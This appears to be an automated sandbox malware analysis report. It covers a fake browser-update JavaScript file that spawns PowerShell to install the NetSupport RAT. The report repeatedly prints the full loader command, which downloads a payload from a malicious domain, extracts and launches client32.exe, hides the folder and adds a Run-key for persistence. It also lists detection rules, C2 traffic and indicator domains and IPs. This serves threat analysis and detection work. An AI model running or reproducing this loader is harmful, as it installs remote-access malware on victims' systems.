Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = e7c6a11c-180e-4992-a50d-dcf72506d2c1 Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS; Engine Version = 5.1.19041.1682 Runspace ID = ad1f0c67-c3a1-43cf-b9f5-e72eb98795fe Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = e7c6a11c-180e-4992-a50d-dcf72506d2c1 Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVers

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFo

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ProcessId: 380, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFo

Remote Access Functionality

Sigma detected: Powershell drops NetSupport RAT client

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1436, TargetFilename: C:\Users\user\AppData\Roaming\KYED2\NSM.LIC

Snort Signatures

ET CURRENT_EVENTS ZPHP Domain in DNS Lookup (luxurycaborental .com) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	07/15/24-00:48:19.635784
SID:	2054434
Source Port:	61644
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://dfwreds.com/data.php?6961

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe	ReversingLabs: Detection: 23%

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110ADA40 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		5_2_110ADA40
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110ADA40 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		6_2_110ADA40

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll

Jump to behavior

Source:

Binary string: msvcr100.i386.pdb source: client32.exe

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111273E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102DD21
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	5_2_1110BD70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_110663B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106ABD0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	6_2_1102D900
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	6_2_111273E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1110BD70 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	6_2_1110BD70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	6_2_110663B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	6_2_1106ABD0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2054434 ET CURRENT_EVENTS ZPHP Domain in DNS Lookup (luxurycaborental .com) 192.168.2.5:61644 -> 1.1.1.1:53

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 38.180.60.246 80

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /data.php?6961 HTTP/1.1Host: dfwreds.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.1.231 104.26.1.231

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: HVC-ASUS HVC-ASUS

Source: global traffic

HTTP traffic detected: GET /cdn-vs/33per.php?8980 HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: luxurycaborental.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cdn-vs/33per.php?8980 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: luxurycaborental.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data.php?6961 HTTP/1.1Host: dfwreds.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: luxurycaborental.com
Source: global traffic	DNS traffic detected: DNS query: dfwreds.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://94.158.245.103/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.245.103Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe	String found in binary or memory: http://%s/testpage.htm
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://0.30000000000000004.com/
Source: client32.exe	String found in binary or memory: http://127.0.0.1
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: client32.exe	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: wscript.exe, 00000000.00000003.2073542745.000001F11733A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://luxurycaborental.com/cdn-vs/33per.php?8980
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stat.ethz.ch/R-manual/R-devel/library/grDevices/html/boxplot.stats.html
Source: wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.2340113804.00000167C1C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableasCompositeOperati
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/echarts/issues/14266
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/incubator-echarts/issues/11369
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/incubator-echarts/issues/12229
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js
